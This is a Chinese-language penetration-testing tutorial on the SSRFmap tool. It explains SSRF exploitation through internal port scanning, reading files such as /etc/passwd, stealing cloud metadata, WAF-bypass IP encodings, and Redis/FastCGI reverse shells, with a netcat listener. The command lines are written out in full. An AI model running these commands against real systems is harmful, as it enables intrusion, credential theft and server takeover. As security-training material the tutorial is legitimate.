1. 项目概述如果你在渗透测试或者CTF比赛中遇到过SSRF漏洞并且觉得手动构造各种协议请求、尝试绕过限制、探测内网服务的过程既繁琐又低效那么SSRFmap这个工具的出现绝对能让你眼前一亮。它不是一个简单的漏洞扫描器而是一个专门为“服务器端请求伪造”漏洞设计的自动化武器化框架。简单来说当你发现一个参数比如一个URL参数、一个请求头存在SSRF漏洞能够诱使服务器向任意地址发起请求时SSRFmap能帮你把这个“发现”迅速升级为“利用”。它的核心价值在于将渗透测试人员从重复性的手工劳动中解放出来。你不再需要手动构造gopher://、dict://、file://等协议的Payload去探测Redis、FastCGI、MySQL等服务也不需要费心去编码绕过WAF。SSRFmap内置了针对十几种常见服务的自动化攻击模块从端口扫描、文件读取到直接获取反向Shell它都能帮你一键完成。你只需要提供一个存在SSRF漏洞的原始HTTP请求文件通常是从Burp Suite保存下来的并告诉它哪个参数是脆弱的剩下的探测和利用工作它就能自动执行。这对于在时间紧迫的渗透测试或复杂的CTF环境中快速评估一个SSRF漏洞的实际危害具有决定性的意义。2. SSRFmap的核心架构与工作原理要熟练使用SSRFmap不能只停留在敲命令的层面理解它的内部运作机制能让你在遇到复杂场景时游刃有余。SSRFmap的设计哲学是“模块化”和“请求代理”。2.1 模块化攻击引擎SSRFmap的强大源于其丰富的模块库。每个模块都是一个独立的Python脚本专门针对一种特定的服务或攻击场景。例如redis模块负责利用Redis未授权访问或主从复制漏洞执行命令fastcgi模块则针对PHP-FPM的FastCGI协议漏洞。当你通过-m参数指定一个或多个模块时SSRFmap会动态加载这些模块并按照预设的逻辑执行攻击。这些模块的运作流程通常是标准化的Payload生成模块内部预置了针对目标服务的攻击Payload。例如对于Redis它会生成符合Redis协议格式的、包含反弹Shell命令的序列化数据。协议封装SSRFmap的核心功能之一是将原始的攻击数据封装成服务器能够理解并向外请求的协议格式。最常用的是gopher://和dict://协议。wrapper_gopher这个函数就是干这个的它能把一段TCP流数据比如Redis命令转换成Gopher协议格式的URL。这是实现“通过一个HTTP请求触发对另一个TCP服务的复杂交互”的关键。请求中继SSRFmap扮演了一个“中继者”的角色。它不会直接向目标内网服务发送数据包而是将封装好的恶意URL替换到你提供的原始HTTP请求中的指定参数位置然后把这个“改造后”的HTTP请求发送给存在SSRF漏洞的Web应用。Web应用在解析这个参数时会“代表”攻击者去向内网的目标服务发起请求从而触发漏洞。2.2 请求处理与参数定位-r参数指定的请求文件是SSRFmap工作的蓝图。这个文件必须是一个完整的HTTP请求通常包含请求行、请求头和请求体。SSRFmap的解析器会仔细分析这个文件识别出所有的参数。这些参数可能出现在三个地方URL查询字符串如GET /api/fetch?urlxxx HTTP/1.1POST请求体如urlxxxactionsubmitHTTP请求头如X-Forwarded-For: xxx-p参数就是用来告诉工具“嘿我要利用的是这个名叫url或X-Custom-Header的参数”。工具会精准地只替换这个参数的值保持请求其他部分如Cookies、其他参数不变以维持会话状态或绕过某些依赖检查。2.3 层级Level与绕过机制--level参数是SSRFmap的“智能绕过”开关。许多WAF或简单的输入过滤器会检测明显的SSRF特征如127.0.0.1、localhost、file://等。SSRFmap内置了多种绕过技巧并按“攻击性”或“隐蔽性”分级。Level 1基础Payload如127.0.0.1。Level 2-5逐渐采用更复杂的绕过技术例如十进制、八进制、十六进制IP表示2130706433(127.0.0.1的十进制)、0177.0.0.1(八进制)、0x7f.0.0.1(十六进制)。域名重定向指向127.0.0.1的短域名或子域名。IPv6地址[::]或[::1]。URL混淆利用、#、?等符号如http://foo127.0.0.1。利用DNS解析特性或特定服务的URL解析差异。当你发现基础Payload被拦截时逐步提高--level值SSRFmap会自动尝试这些变体这比手动测试高效得多。注意高level的Payload不一定在所有环境都有效它们依赖于目标服务器后端使用的URL解析库如Python的urllib、PHP的parse_url、Java的URL类的具体实现。有时需要结合-vverbose模式观察哪个Payload成功触发了请求。3. 环境准备与安装部署工欲善其事必先利其器。SSRFmap基于Python 3开发安装过程简单但有一些依赖细节需要注意。3.1 本地环境安装推荐这是最灵活的使用方式适合在渗透测试虚拟机如Kali Linux或个人开发环境中使用。# 1. 克隆仓库 git clone https://github.com/swisskyrepo/SSRFmap cd SSRFmap # 2. 安装Python依赖 pip3 install -r requirements.txt # 如果遇到权限问题可以尝试使用用户安装模式 # pip3 install --user -r requirements.txt安装完成后直接运行python3 ssrfmap.py -h即可查看帮助信息。这里有个关键点务必使用Python 3。因为工具中大量使用了Python 3的语法和标准库特性在Python 2环境下会报错。3.2 Docker容器化部署如果你不想污染本地环境或者需要在隔离的、可重复的环境中运行Docker是最佳选择。SSRFmap的Dockerfile已经配置好了所有依赖。# 1. 克隆仓库并构建镜像 git clone https://github.com/swisskyrepo/SSRFmap cd SSRFmap docker build --no-cache -t ssrfmap . # 2. 运行工具的基本方式 docker run -it --rm ssrfmap python3 ssrfmap.py -h # 3. 更实用的挂载运行方式便于使用本地的请求文件 # 假设你的请求文件 request.txt 在当前目录 docker run -it --rm -v $(pwd):/usr/src/app ssrfmap python3 ssrfmap.py -r /usr/src/app/request.txt -p url -m readfiles使用Docker时-v $(pwd):/usr/src/app这个参数至关重要。它将你当前的宿主机目录挂载到容器的/usr/src/app目录。这样你保存在本地的Burp请求文件request.txt就能在容器内被访问到。否则你还需要把文件复制到容器内部非常麻烦。3.3 准备测试请求文件这是使用SSRFmap前最重要的一步。你需要从一个真实的HTTP请求中提取。最常用的方法是使用Burp Suite在Burp中拦截到包含可疑参数如url、path、file的请求。在Burp的Proxy - HTTP history中右键点击该请求选择Save item将其保存为文本文件例如ssrf_request.txt。用文本编辑器打开这个文件确保它格式完整。一个标准的POST请求示例如下POST /vulnerable/endpoint HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0... Cookie: sessioneyJhbGciOiJIUzI1NiIs... Content-Type: application/x-www-form-urlencoded Content-Length: 25 urlhttp://example.com实操心得保存请求时务必包含完整的请求头特别是Cookie和Content-Type。很多应用的SSRF漏洞存在于需要认证的接口中缺少Cookie会导致请求被拒绝。同时检查Content-Length头当你替换的参数值长度发生变化时SSRFmap会自动帮你修正这个值但了解其原理总是好的。4. 核心模块详解与实战应用SSRFmap的威力体现在其模块上。下面我们深入剖析几个最常用、最关键的模块并附上实战命令。4.1 信息收集类模块这类模块旨在不直接破坏目标的情况下尽可能多地获取信息是渗透测试初期评估风险的关键。4.1.1portscan(端口扫描)这是最常用的模块之一。它利用存在SSRF漏洞的服务器作为代理对内网指定IP的常用端口默认是top 8000端口进行扫描。python3 ssrfmap.py -r request.txt -p url -m portscan --lhost 192.168.1.1--lhost 192.168.1.1指定要扫描的内网目标IP。这里假设漏洞服务器在内网192.168.1.0/24网段我们想扫描同网段的192.168.1.1。工作原理工具会向目标参数注入http://192.168.1.1:PORT这样的Payload。通过服务器的响应时间或返回的错误信息如连接拒绝、超时来判断端口开放状态。由于是通过Web应用间接扫描结果不如Nmap直接扫描精确但能绕过网络边界限制。注意事项扫描大量端口会产生大量请求可能触发目标应用的速率限制或告警。建议先针对少数关键端口如80, 443, 22, 3306, 6379进行手动测试。4.1.2readfiles(文件读取)用于读取服务器本地的文件内容经典利用是读取/etc/passwd来确认漏洞存在和了解系统用户。python3 ssrfmap.py -r request.txt -p url -m readfiles --rfiles /etc/passwd,/etc/hosts--rfiles指定要读取的文件路径列表用逗号分隔。工作原理使用file://协议或封装特定协议请求来读取文件。例如file:///etc/passwd。工具会尝试多种文件路径和读取方式。扩展利用除了系统文件可以尝试读取Web应用的配置文件如/proc/self/environ环境变量可能包含密钥、/var/www/html/config.php、~/.bash_history等。4.1.3aws,alibaba,gce,digitalocean(云元数据读取)在云服务器如AWS EC2、阿里云ECS、Google Cloud Engine上一个极其危险的SSRF利用就是访问云平台的实例元数据服务。这些服务通常位于固定的内网地址如AWS的169.254.169.254存储了访问密钥、安全组信息等敏感数据。python3 ssrfmap.py -r request.txt -p url -m aws运行此命令SSRFmap会自动向http://169.254.169.254/及其常见路径发起请求尝试获取元数据。一旦成功可能导致云服务器被完全接管。4.2 远程代码执行类模块这类模块是SSRF漏洞利用的“皇冠”旨在将SSRF漏洞升级为直接在目标内网服务器上执行命令的能力。4.2.1redis(Redis未授权访问/主从复制RCE)Redis默认监听6379端口且早期版本常配置为无密码访问。SSRFmap的redis模块可以自动化利用此漏洞。python3 ssrfmap.py -r request.txt -p url -m redis --lhost10.0.0.5 --lport4444 -l 4444--lhost和--lport指定攻击者接收反向Shell的IP和端口。-l 4444让SSRFmap在本地启动一个监听器等待目标Redis服务器连接回来。工作原理工具生成一个包含反弹Shell命令的Redis序列化Payload。通过Gopher协议将这个Payload发送到目标内网的Redis服务器假设是127.0.0.1:6379。Payload会指示Redis将数据保存到磁盘上的某个文件如/var/www/html/shell.php该文件包含PHP代码。如果Redis配置了持久化RDB/AOF或者通过CONFIG SET dir命令改变了保存路径到Web目录再访问这个Web文件就能触发代码执行。更高级的利用是“主从复制”攻击直接让Redis加载恶意模块无需写Web文件。踩坑记录成功与否极度依赖Redis的配置是否无密码、是否可写Web目录、版本是否支持某些危险命令。在实际测试中遇到配置了密码或绑定了本地回环的Redis此模块可能失效。4.2.2fastcgi(PHP-FPM FastCGI RCE)当目标服务器运行PHP并通过PHP-FPMFastCGI Process Manager处理时如果能够通过SSRF访问到PHP-FPM的监听端口通常是9000就可能实现远程代码执行。python3 ssrfmap.py -r request.txt -p url -m fastcgi --lhost10.0.0.5 --lport4444工作原理该模块构造一个符合FastCGI协议规范的恶意请求发送给PHP-FPM。请求中指定了要执行的PHP代码通常是system(‘bash -c …’)。如果PHP-FPM配置不当如允许从网络访问或存在php_admin_value覆盖漏洞就会执行这段代码。前置条件你需要知道目标服务器上任意一个存在的PHP文件路径如/var/www/html/index.php。这个路径在Payload中作为SCRIPT_FILENAME参数传递。模块通常会尝试一些常见路径。4.2.3mysql,postgres(数据库命令执行)利用方式与redis类似通过Gopher协议向数据库服务发送恶意查询语句。这通常要求数据库存在弱口令如空密码、默认密码或允许匿名登录并且数据库用户拥有FILE_PRIV等高级权限才能通过SELECT ... INTO OUTFILE写入Webshell。python3 ssrfmap.py -r request.txt -p url -m mysql这个模块的利用条件更为苛刻在实际渗透测试中成功率相对较低但一旦成功危害巨大。4.3 其他实用模块axfr尝试对目标域进行DNS区域传输AXFR如果配置错误可能泄露整个域的所有DNS记录。socksproxy尝试将存在SSRF的服务器变为一个SOCKS4代理从而让攻击者的所有流量都通过该服务器转发实现对整个内网的漫游。这是SSRF漏洞利用的终极形态之一。tomcat针对Tomcat Manager应用进行暴力破解如果成功登录可以直接部署WAR包获取Shell。5. 高级用法与实战技巧掌握了基础命令和模块后一些高级技巧和组合拳能让你在复杂环境中更有效地使用SSRFmap。5.1 组合使用多个模块使用逗号分隔模块名可以一次性按顺序执行多个测试提高效率。python3 ssrfmap.py -r req.txt -p url -m portscan,readfiles,redis --lhost192.168.1.100 --lport4444 --rfiles /etc/passwd这条命令会先扫描--lhost指定IP的端口然后尝试读取/etc/passwd文件最后尝试Redis RCE。模块按顺序执行。5.2 处理HTTPS端点与自定义请求头如果存在SSRF漏洞的参数其最终请求的目标是HTTPS服务或者目标应用对User-Agent有检查可以使用以下参数python3 ssrfmap.py -r req.txt -p url -m portscan --ssl --uagent Mozilla/5.0 (compatible; MyScanner/1.0)--ssl启用后工具构造的Payload会使用https://前缀并忽略证书验证错误类似于curl -k。--uagent自定义User-Agent字符串。有些WAF或应用会过滤默认的Python-urllib User-Agent。5.3 利用Level参数绕过过滤这是SSRFmap的精髓之一。假设目标对127.0.0.1进行了过滤# 尝试Level 1 (基础) python3 ssrfmap.py -r req.txt -p url -m readfiles --rfiles /etc/passwd --level 1 # 如果被拦截尝试更高级别的绕过 python3 ssrfmap.py -r req.txt -p url -m readfiles --rfiles /etc/passwd --level 3在verbose模式 (-v) 下你可以看到工具具体尝试了哪些Payload哪个成功了这对于理解过滤规则非常有帮助。5.4 针对Header中的SSRFSSRF漏洞不一定在URL或Body参数里有时在HTTP头中比如X-Forwarded-For、X-Real-IP或自定义头。SSRFmap同样可以处理。python3 ssrfmap.py -r req_with_header.txt -p X-Forwarded-For -m readfiles你只需要在Burp请求文件中确保目标Header存在即使值是空的然后在-p参数中指定该Header的名称即可。5.5 与反向Shell监听器配合对于redis、fastcgi等能获取反向Shell的模块SSRFmap内置了一个简单的监听器通过-l参数启动。但对于稳定性要求高的场景建议使用更专业的工具如netcat或Metasploit的multi/handler。# 在另一个终端用nc监听 nc -lvnp 4444 # 运行SSRFmap不指定 -l 参数只生成Payload python3 ssrfmap.py -r req.txt -p url -m redis --lhost10.0.0.5 --lport4444这样当Payload在目标服务器上执行后连接会回到你的nc监听器。6. 常见问题排查与调试心得在实际使用中你肯定会遇到各种问题。下面是一些常见坑点和排查思路。问题1工具运行后没有任何输出或者很快结束。可能原因1请求文件格式错误。排查用cat -A request.txt检查文件是否有奇怪的换行符如^MWindows换行符。确保请求头与请求体之间有一个空行。解决在Linux下使用dos2unix request.txt转换格式或用文本编辑器确保使用LF换行。可能原因2目标参数 (-p) 指定错误。排查使用-v参数运行查看工具解析出的所有参数列表。确认你指定的参数名完全匹配包括大小写。解决仔细检查Burp请求参数名可能是URL、url或uRl。问题2模块执行了但总是返回“未发现”或“失败”。可能原因1目标内网服务不存在或端口不对。排查先用portscan模块确认目标IP和端口是否开放。或者尝试用readfiles模块读取一个肯定存在的文件如/etc/hosts来验证SSRF漏洞本身是否真的可利用。解决确认目标服务的准确IP和端口。例如Redis可能不在默认的6379端口。可能原因2Payload被WAF或应用层过滤。排查开启-v模式观察工具发送的每一个Payload。对比成功和失败的请求看看被拦截的Payload有什么特征是否包含特定关键词如gopher、127.0。解决提高--level等级。或者手动分析过滤规则尝试使用更冷门的协议或编码方式。有时需要结合其他漏洞如参数污染、二次编码进行绕过。问题3Redis/FastCGI模块能执行但反弹Shell没收到。可能原因1出网限制。目标服务器无法访问你的公网IP (--lhost)。排查你的监听端口是否被防火墙阻挡尝试在VPS上监听并使用--lhost设置为你的VPS公网IP。在内网环境确保IP可达。解决使用curl http://your-vps-ip或类似命令从目标网络环境测试连通性。考虑使用DNS、HTTP等出站可能开放的协议进行回连这需要更定制的PayloadSSRFmap可能不直接支持。可能原因2Payload与目标环境不兼容。排查Redis的写文件路径是否正确是否有写权限PHP-FPM的SCRIPT_FILENAME路径是否存在解决需要根据目标环境调整模块的默认参数。这可能需要你阅读模块源码进行定制化修改。例如修改core/modules/redis.py中的默认Web路径。问题4工具报Python语法错误或导入模块失败。可能原因Python版本或依赖问题。排查确认使用python3。运行pip3 list | grep -i requests确认requests库已安装。解决在虚拟环境中重新安装依赖python3 -m venv venv source venv/bin/activate pip install -r requirements.txt。使用Docker镜像是最省事的办法。个人调试心得遇到复杂场景最高效的方法是“分步调试”。不要一上来就运行复杂的模块组合。遵循这个流程1) 用-v和--level 1运行readfiles模块读取一个简单文件确认SSRF基本可用。2) 用portscan确认内网服务分布。3) 针对特定服务先使用工具的基础Payload如果失败再结合-v输出和Burp Suite的Repeater功能手动构造和测试Payload理解过滤逻辑最后将成功的Payload思路反馈到工具的定制中。SSRFmap是一个强大的自动化框架但它不能替代你对漏洞原理和网络协议的理解。手动分析与工具自动化相结合才是最高效的渗透测试之道。